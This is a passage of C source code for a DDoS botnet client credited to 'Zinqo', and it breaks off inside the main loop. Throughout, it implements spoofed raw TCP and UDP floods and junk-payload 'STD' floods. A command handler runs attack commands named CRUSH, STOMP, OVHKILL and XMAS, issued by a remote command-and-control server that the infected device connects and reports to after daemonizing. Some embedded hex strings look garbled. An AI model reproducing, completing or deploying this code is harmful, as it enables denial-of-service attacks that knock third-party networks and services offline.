        "/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A",

        "\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA",//Made By Zinqo.

        "\x0D\x1E\x1F\x12\x06\x62\x26\x12\x62\x0D\x12\x01\x06\x0D\x1C\x01\x32\x12\x6C\x63\x1B\x32\x6C\x63\x3C\x32\x62\x63\x6C\x26\x12\x1C\x12\x6C\x63\x62\x06\x12\x21\x2D\x32\x62\x11\x2D\x21\x32\x62\x10\x12\x01\x0D\x12\x30\x21\x2D\x30\x13\x1C\x1E\x10\x01\x10\x3E\x3C\x32\x37\x01\x0D\x10\x12\x12\x30\x2D\x62\x10\x12\x1E\x10\x0D\x12\x1E\x1C\x10\x12\x0D\x01\x10\x12\x1E\x1C\x30\x21\x2D\x32\x30\x2D\x30\x2D\x21\x30\x21\x2D\x3E\x13\x0D\x32\x20\x33\x62\x63\x12\x21\x2D\x3D\x36\x12\x62\x30\x61\x11\x10\x06\x00\x17\x22\x63\x2D\x02\x01\x6C\x6D\x36\x6C\x0D\x02\x16\x6D\x63\x12\x02\x61\x17\x63\x20\x22\x6C\x2D\x02\x63\x6D\x37\x22\x63\x6D\x00\x02\x2D\x22\x63\x6D\x17\x22\x2D\x21\x22\x63\x00\x30\x32\x60\x30\x00\x17\x22\x36\x36\x6D\x01\x6C\x0D\x12\x02\x61\x20\x62\x63\x17\x10\x62\x6C\x61\x2C\x37\x22\x63\x17\x0D\x01\x3D\x22\x63\x6C\x17\x01\x2D\x37\x63\x62\x00\x37\x17\x6D\x63\x62\x37\x3C\x54",

        "\x26\x3C\x35\x35\x36\x3D\x20\x77\x75\x31\x76\x35\x30\x77\x28\x7D\x27\x29\x7D\x7D\x34\x36\x3C\x21\x73\x30\x2D\x2D\x29\x77\x77\x2A\x2B\x32\x37\x2F\x2B\x72\x73\x22\x36\x7C\x31\x24\x21\x73\x7C\x28\x36\x77\x72\x34\x72\x24\x70\x2E\x2B\x3F\x28\x26\x23\x24\x2F\x71\x7D\x7C\x72\x7C\x74\x26\x28\x21\x32\x2F\x23\x33\x20\x20\x2C\x2F\x7C\x20\x23\x28\x2A\x2C\x20\x2E\x36\x73\x2A\x27\x74\x31\x7D\x20\x33\x2C\x30\x29\x72\x3F\x73\x23\x30\x2D\x34\x74\x2B\x2E\x37\x73\x2F\x2B\x71\x35\x2C\x34\x2C\x36\x34\x3D\x28\x24\x27\x29\x71\x2A\x26\x30\x77\x35\x2F\x35\x35\x37\x2E\x2F\x28\x72\x27\x23\x2F\x2D\x76\x31\x36\x74\x30\x29\x45",

        "y8rtyutvybt978b5tybvmx0e8ytnv58ytr57yrn56745t4twev4vt4te45yn57ne46e456be467mt6ur567d5r6e5n65nyur567nn55sner6rnut7nnt7yrt7r6nftynr567tfynxyummimiugdrnyb"

        };//Made By Zinqo.

  if (a >= 50)

  {

   send(std_hex, rhexstring, std_packet, 0);

   connect(std_hex,(struct sockaddr *) &sin, sizeof(sin));

   if (time(NULL) >= start + secs)

   {

    close(std_hex);

    _exit(0);

   }

   a = 0;

  }

  a++;

 }

}

 

 

void rtcp(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval){

        register unsigned int pollRegister;

        pollRegister = pollinterval;

 

        struct sockaddr_in dest_addr;

 

        dest_addr.sin_family = AF_INET;

        if(port == 0) dest_addr.sin_port = rand_cmwc();

        else dest_addr.sin_port = htons(port);

        if(getHost(target, &dest_addr.sin_addr)) return;

        memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);

 

        int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);

        if(!sockfd){

                return;

        }

 

        int tmp = 1;//Made By Zinqo.

        if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0){

                return;

        }

 

        in_addr_t netmask;

 

        if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );

        else netmask = ( ~((1 << (32 - spoofit)) - 1) );

 

        unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];

        struct iphdr *iph = (struct iphdr *)packet;

        struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);

 

        makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);

 

        tcph->source = rand_cmwc();

        tcph->seq = rand_cmwc();

        tcph->ack_seq = 0;

        tcph->doff = 5;

        tcph->ack = 1;

        tcph->syn = 1;

        tcph->psh = 1;

        tcph->ack = 1;

        tcph->urg = 1;//Made By Zinqo.

        tcph->window = rand_cmwc();

        tcph->check = 0;

        tcph->urg_ptr = 0;

        tcph->dest = (port == 0 ? rand_cmwc() : htons(port));

        tcph->check = tcpcsum(iph, tcph);

 

        iph->check = csum ((unsigned short *) packet, iph->tot_len);

 

        int end = time(NULL) + timeEnd;

        register unsigned int i = 0;

        while(1){

                sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

 

                iph->saddr = htonl( getRandomIP(netmask) );

                iph->id = rand_cmwc();

                tcph->seq = rand_cmwc();

                tcph->source = rand_cmwc();

                tcph->check = 0;

                tcph->check = tcpcsum(iph, tcph);

                iph->check = csum ((unsigned short *) packet, iph->tot_len);

 

                if(i == pollRegister){

                        if(time(NULL) > end) break;

                        i = 0;//Made By Zinqo.

                        continue;

                }

                i++;

        }

}

 

 

void audp(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)

{

    struct sockaddr_in dest_addr;

 

    dest_addr.sin_family = AF_INET;

    if(port == 0) dest_addr.sin_port = rand_cmwc();

    else dest_addr.sin_port = htons(port);

    if(getHost(target, &dest_addr.sin_addr)) return;

    memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);

 

    register unsigned int pollRegister;

    pollRegister = pollinterval;

 

    if(spoofit == 32)

    {

        int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

        if(!sockfd)

        {

            return;

        }

 

        unsigned char *buf = (unsigned char *)malloc(packetsize + 1);

        if(buf == NULL) return;

        memset(buf, 0, packetsize + 1);

        makeRandomStr(buf, packetsize);

//Made By Zinqo.

        int end = time(NULL) + timeEnd;

        register unsigned int i = 0;

        while(1)

        {

            sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

 

            if(i == pollRegister)

            {

                if(port == 0) dest_addr.sin_port = rand_cmwc();

                if(time(NULL) > end) break;

                i = 0;

                continue;

            }

            i++;

        }

    } else {

        int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

        if(!sockfd)

        {

            return;

        }

 

        int tmp = 1;

        if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)

        {

            return;

        }

 

        int counter = 50;

        while(counter--)

        {

            srand(time(NULL) ^ rand_cmwc());

            init_rand(rand());

        }

 

        in_addr_t netmask;

 

        if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );

        else netmask = ( ~((1 << (32 - spoofit)) - 1) );

 

        unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];

        struct iphdr *iph = (struct iphdr *)packet;

        struct udphdr *udph = (void *)iph + sizeof(struct iphdr);

 

        makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);

 

        udph->len = htons(sizeof(struct udphdr) + packetsize);

        udph->source = rand_cmwc();

        udph->dest = (port == 0 ? rand_cmwc() : htons(port));

        udph->check = 0;

 

        makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);

 

        iph->check = csum ((unsigned short *) packet, iph->tot_len);

 

        int end = time(NULL) + timeEnd;

        register unsigned int i = 0;

        while(1)

        {

            sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

 

            udph->source = rand_cmwc();

            udph->dest = (port == 0 ? rand_cmwc() : htons(port));

            iph->id = rand_cmwc();

            iph->saddr = htonl( getRandomIP(netmask) );

            iph->check = csum ((unsigned short *) packet, iph->tot_len);

 

            if(i == pollRegister)

            {

                if(time(NULL) > end) break;

                i = 0;

                continue;

            }

            i++;

        }

    }

}

 

void atcp(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)

{

    register unsigned int pollRegister;

    pollRegister = pollinterval;

 

    struct sockaddr_in dest_addr;

 

    dest_addr.sin_family = AF_INET;

    if(port == 0) dest_addr.sin_port = rand_cmwc();

    else dest_addr.sin_port = htons(port);

    if(getHost(target, &dest_addr.sin_addr)) return;

    memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);

 

    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);

    if(!sockfd)

    {

        return;

    }

 

    int tmp = 1;

    if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)

    {

        return;

    }

 

    in_addr_t netmask;

 

    if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );

    else netmask = ( ~((1 << (32 - spoofit)) - 1) );

 

    unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];

    struct iphdr *iph = (struct iphdr *)packet;

    struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);

 

    makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);

 

    tcph->source = rand_cmwc();

    tcph->seq = rand_cmwc();

    tcph->ack_seq = 0;

    tcph->doff = 5;

 

    if(!strcmp(flags, "ALL"))

    {

        tcph->syn = 1;

        tcph->rst = 1;

        tcph->fin = 1;

        tcph->ack = 1;

        tcph->psh = 1;

    } else {//Made By Zinqo.

        unsigned char *pch = strtok(flags, ",");

        while(pch)

        {

            if(!strcmp(pch, "SYN"))

            {

                tcph->syn = 1;

            } else if(!strcmp(pch, "RST"))

            {

                tcph->rst = 1;

            } else if(!strcmp(pch, "FIN"))

            {

                tcph->fin = 1;

            } else if(!strcmp(pch, "ACK"))

            {

                tcph->ack = 1;

            } else if(!strcmp(pch, "PSH"))

            {

                tcph->psh = 1;

            } else {

            }

            pch = strtok(NULL, ",");

        }

    }

 

    tcph->window = rand_cmwc();

    tcph->check = 0;

    tcph->urg_ptr = 0;

    tcph->dest = (port == 0 ? rand_cmwc() : htons(port));

    tcph->check = tcpcsum(iph, tcph);

 

    iph->check = csum ((unsigned short *) packet, iph->tot_len);

 

    int end = time(NULL) + timeEnd;

    register unsigned int i = 0;

    while(1)

    {

        sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

 

        iph->saddr = htonl( getRandomIP(netmask) );

        iph->id = rand_cmwc();

        tcph->seq = rand_cmwc();

        tcph->source = rand_cmwc();

        tcph->check = 0;

        tcph->check = tcpcsum(iph, tcph);

        iph->check = csum ((unsigned short *) packet, iph->tot_len);

 

        if(i == pollRegister)

        {

            if(time(NULL) > end) break;

            i = 0;

            continue;

        }

        i++;

    }

}

void astd(unsigned char *ip, int port, int secs, int packetsize) 

{

        int std_hex;

        std_hex = socket(AF_INET, SOCK_DGRAM, 0);

        time_t start = time(NULL);

        struct sockaddr_in sin;

        struct hostent *hp;

        hp = gethostbyname(ip);

        bzero((char*) &sin,sizeof(sin));

        bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);

        sin.sin_family = hp->h_addrtype;

        sin.sin_port = port;

        unsigned int a = 0;

        while(1)

        {

                char *hexstring[] = {"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"};

                if (a >= 50)

                {

                        send(std_hex, hexstring, packetsize, 0);

                        connect(std_hex,(struct sockaddr *) &sin, sizeof(sin));

                        if (time(NULL) >= start + secs)

                        {

                                close(std_hex);

                                _exit(0);

                        }

                        a = 0;

                }

                a++;

        }

}

char *getArch() {

    #if defined(__x86_64__) || defined(_M_X64)

    return "x86_64";

    #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86)

    return "x86_32";

    #elif defined(__ARM_ARCH_2__) || defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__) || defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)

    return "Arm4";

    #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)

    return "Arm5"

    #elif defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6T2_) ||defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__) || defined(__aarch64__)

    return "Arm6";

    #elif defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7S__)

    return "Arm7";

    #elif defined(mips) || defined(__mips__) || defined(__mips)

    return "Mips";

    #elif defined(mipsel) || defined (__mipsel__) || defined (__mipsel) || defined (_mipsel)

    return "Mipsel";

    #elif defined(__sh__)

    return "Sh4";

    #elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(__PPC__) || defined(__PPC64__) || defined(_ARCH_PPC) || defined(_ARCH_PPC64)

    return "Ppc";

    #elif defined(__sparc__) || defined(__sparc)

    return "spc";

    #elif defined(__m68k__)

    return "M68k";

    #elif defined(__arc__)

    return "Arc";

    #else

    return "Unknown Architecture";

    #endif

}

 

char *getPortz()

{

        if(access("/usr/bin/python", F_OK) != -1){

        return "22";

        }

        if(access("/usr/bin/python3", F_OK) != -1){

        return "22";

        }

        if(access("/usr/bin/perl", F_OK) != -1){

        return "22";

        }

        if(access("/usr/sbin/telnetd", F_OK) != -1){

        return "22";

        } else {

        return "Unknown Port";

        }

}

 

void processCmd(int argc, unsigned char *argv[])

{

       if(!strcmp(argv[0], "TCP"))

        {

                if(argc < 6)

                {

 

                        return;

                }

                unsigned char *ip = argv[1];

                int port = atoi(argv[2]);

                int time = atoi(argv[3]);

                int spoofed = atoi(argv[4]);

                unsigned char *flags = argv[5];

 

                int pollinterval = argc == 8 ? atoi(argv[7]) : 10;

                int psize = argc > 6 ? atoi(argv[6]) : 0;

 

                if(strstr(ip, ",") != NULL)

                {

                        unsigned char *hi = strtok(ip, ",");

                        while(hi != NULL)

                        {

                                if(!listFork())

                                {

                                        ftcp(hi, port, time, spoofed, flags, psize, pollinterval);

                                        _exit(0);

                                }

                                hi = strtok(NULL, ",");

                        }

                } else {

                        if (listFork()) { return; }

 

                        ftcp(ip, port, time, spoofed, flags, psize, pollinterval);

                        _exit(0);

                }

        }

 if(!strcmp(argv[0], "UDP"))

  {//Made By Zinqo.

   if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1))

   {

    return;

            }

                unsigned char *ip = argv[1];

                int port = atoi(argv[2]);

                int time = atoi(argv[3]);

                int packetsize = atoi(argv[4]);

                int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);

    int spoofed = 32;

                if(strstr(ip, ",") != NULL)

    {

     unsigned char *hi = strtok(ip, ",");

     while(hi != NULL)

     {

      if(!listFork())

      {

       SendUDP(hi, port, time, packetsize, pollinterval, spoofed);

       _exit(0);

      }//Made By Zinqo.

      hi = strtok(NULL, ",");

     }

                } else {

       if (listFork())

       {

        return;

       }

       SendUDP(ip, port, time, packetsize, pollinterval, spoofed);

       _exit(0);

        } 

        }

 

 

  if(!strcmp(argv[0], "VSE")) {

            if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {

            return;

            }

            unsigned char *ip = argv[1];

            int port = atoi(argv[2]);

            int time = atoi(argv[3]);

            int spoofed = atoi(argv[4]);

            int packetsize = atoi(argv[5]);

            int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);

            int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);

            int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);

            if(strstr(ip, ",") != NULL) {

                unsigned char *hi = strtok(ip, ",");

                while(hi != NULL) {

                    if(!listFork()) {

                        vseattack(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);

                        _exit(0);//Made By Zinqo.

                    }

                    hi = strtok(NULL, ",");

                }

            } else {

                if (!listFork()){

                vseattack(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);

                _exit(0);

            }

        }

        return;

        }

        if(!strcmp(argv[0], "STDHEX"))

     {

  if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)

  {

   return;

  }

  unsigned char *ip = argv[1];

  int port = atoi(argv[2]);

  int time = atoi(argv[3]);

  if(strstr(ip, ",") != NULL)

  {

   unsigned char *hi = strtok(ip, ",");

   while(hi != NULL)

   {

    if(!listFork())

    {

     SendSTDHEX(hi, port, time);

     _exit(0);

    }

    hi = strtok(NULL, ",");

   }

  } else {

   if (listFork()) { return; }

   SendSTDHEX(ip, port, time);

   _exit(0);

  }

 } //Made By Zinqo.

 

  if(!strcmp(argv[0], "STD"))

  {

   //Made By Zinqo.

   if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)

   {

                return;

            }

   unsigned char *ip = argv[1];

            int port = atoi(argv[2]);

            int time = atoi(argv[3]);

   if(strstr(ip, ",") != NULL)

   {

    unsigned char *hi = strtok(ip, ",");

    while(hi != NULL)

    {

     if(!listFork())

     {//Made By Zinqo.

      SendSTD(hi, port, time);

      _exit(0);

     }

     hi = strtok(NULL, ",");

    }

            } else {

      if (listFork())

      {

       return;

      }

                        SendSTD(ip, port, time);

                        _exit(0);

                   }

  }

 

    if (!strcmp(argv[0], "NFODROP"))

    {

        if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)

        {

            return;

        }

        unsigned char *ip = argv[1];

        int port = atoi(argv[2]);

        int time = atoi(argv[3]);

        if(strstr(ip, ",") != NULL)

        {

            unsigned char *hi = strtok(ip, ",");

            while(hi != NULL)

            {

                if(!listFork())

                {

                    stdhexflood(hi, port, time);

                    _exit(0);

                }

                hi = strtok(NULL, ",");

            }

        } else {

            if (listFork()) { return; }

            stdhexflood(ip, port, time);

            _exit(0);

        }

    }

 

        if(!strcmp(argv[0], "OVHKILL"))

        {

        if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)

        {

            return;

        }

        unsigned char *ip = argv[1];

        int port = atoi(argv[2]);

        int time = atoi(argv[3]);

        if(strstr(ip, ",") != NULL)

        {

            unsigned char *hi = strtok(ip, ",");

            while(hi != NULL)

            {

                if(!listFork())

                {

                    SendSTD_HEX(hi, port, time);

                    _exit(0);

                }

                hi = strtok(NULL, ",");

            }

        } else {

            if (listFork()) { return; }

            SendSTD_HEX(ip, port, time);

            _exit(0);

        }

    }

 

        if(!strcmp(argv[0], "XMAS")){

            if(argc < 4 || atoi(argv[3]) > 10000){

                return;

            }

            unsigned char *ip = argv[1];

            int port = atoi(argv[2]);

            int time = atoi(argv[3]);

            int spoofed = 32;

            int pollinterval = 10;

            int psize = 1024;

 

            if(strstr(ip, ",") != NULL){

                unsigned char *hi = strtok(ip, ",");

                while(hi != NULL){

                    if(!listFork()){

                        rtcp(hi, port, time, spoofed, psize, pollinterval);

                        _exit(0);

                    }

                    hi = strtok(NULL, ",");

                }

            } else {

                if (listFork()) { return; }

                rtcp(ip, port, time, spoofed, psize, pollinterval);

                _exit(0);

            }

        }

 

                if(!strcmp(argv[0], "CRUSH"))

        {

            if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))

            { return;}

            unsigned char *ip = argv[1];

            int port = atoi(argv[2]);

            int time = atoi(argv[3]);//Made By Zinqo.

            int spoofed = atoi(argv[4]);

            unsigned char *flags = argv[5];

            int pollinterval = argc == 8 ? atoi(argv[7]) : 10;

            int packetsize = argc > 6 ? atoi(argv[6]) : 0;

                       int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);

           int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);

            if(strstr(ip, ",") != NULL)

            {

                unsigned char *ip = strtok(ip, ",");

                while(ip != NULL)

                {

                    if(!listFork())

                    {

                        astd(ip, port, time, std_packet);

                        atcp(ip, port, time, spoofed, flags, packetsize, pollinterval);

                        close(mainCommSock);

                        _exit(0);

                    }

                    ip = strtok(NULL, ",");

                }

            } else {

                if (listFork()) { return; }

                astd(ip, port, time, std_packet);

                atcp(ip, port, time, spoofed, flags, packetsize, pollinterval);

                close(mainCommSock);

                _exit(0);

            }

        }

 

        if(!strcmp(argv[0], "STOMP"))

    {

        if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))

        {

            return;

        }

        unsigned char *ip = argv[1];

        int port = atoi(argv[2]);

        int time = atoi(argv[3]);

        int spoofed = atoi(argv[4]);

        unsigned char *flags = argv[5];

        int pollinterval = argc == 8 ? atoi(argv[7]) : 10;

        int packetsize = argc > 6 ? atoi(argv[6]) : 0;

        if(strstr(ip, ",") != NULL)

        {

            unsigned char *ip = strtok(ip, ",");

            while(ip != NULL)

            {

                if(!listFork())

                {

                    astd(ip, port, time, packetsize);

                    audp(ip, port, time, spoofed, packetsize, pollinterval);

                    atcp(ip, port, time, spoofed, flags, packetsize, pollinterval);

                    close(mainCommSock);

                    _exit(0);

                }

                ip = strtok(NULL, ",");

            }

        } else {

            if (listFork()) { return; }

            astd(ip, port, time, packetsize);

            audp(ip, port, time, spoofed, packetsize, pollinterval);

            atcp(ip, port, time, spoofed, flags, packetsize, pollinterval);

            close(mainCommSock);

            _exit(0);

        }

    }

 

        if(!strcmp(argv[0], "STOP"))

  {

                int killed = 0;

                unsigned long i;

                for (i = 0; i < numpids; i++)

    {

                        if (pids[i] != 0 && pids[i] != getpid())

      {

                                kill(pids[i], 9);

                                killed++;

                        }

                }

                if(killed > 0)

    {

     

                } else {

 

        }

        }

}//Made By Zinqo.

 

int initConnection()

{

        unsigned char server[512];

        memset(server, 0, 512);

        if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }

        if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;

        else currentServer++;

 

        strcpy(server, commServer[currentServer]);

        int port = 6982;

        if(strchr(server, ':') != NULL)

        {

                port = atoi(strchr(server, ':') + 1);

                *((unsigned char *)(strchr(server, ':'))) = 0x0;

        }

 

        mainCommSock = socket(AF_INET, SOCK_STREAM, 0);

 

        if(!connectTimeout(mainCommSock, server, port, 30)) return 1;

 

        return 0;

}

 

int main(int argc, unsigned char *argv[])

{

        if(SERVER_LIST_SIZE <= 0) return 0;

 

        srand(time(NULL) ^ getpid());

        init_rand(time(NULL) ^ getpid());

        getOurIP();

        pid_t pid1;

        pid_t pid2;

        int status;

 

        if (pid1 = fork()) {

                        waitpid(pid1, &status, 0);

                        exit(0);

        } else if (!pid1) {

                        if (pid2 = fork()) {//Made By Zinqo.

                                        exit(0);

                        } else if (!pid2) {

                        } else {

                        }

        } else {

        }

        setsid();

        chdir("/");

        signal(SIGPIPE, SIG_IGN);

 

        while(1)

        {

                if(initConnection()) { sleep(5); continue; }

                sockprintf(mainCommSock, "\e[1;95mDevice Connected: %s | Port: %s | Arch: %s\e[0m", inet_ntoa(ourIP), getPortz(), getArch());//Made By Zinqo.

                char commBuf[4096];

                int got = 0;

                int i = 0;

                while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)

                {

                        for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {

                                unsigned int *newpids, on;

                                for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];

                                pids[on - 1] = 0;

                                numpids--;

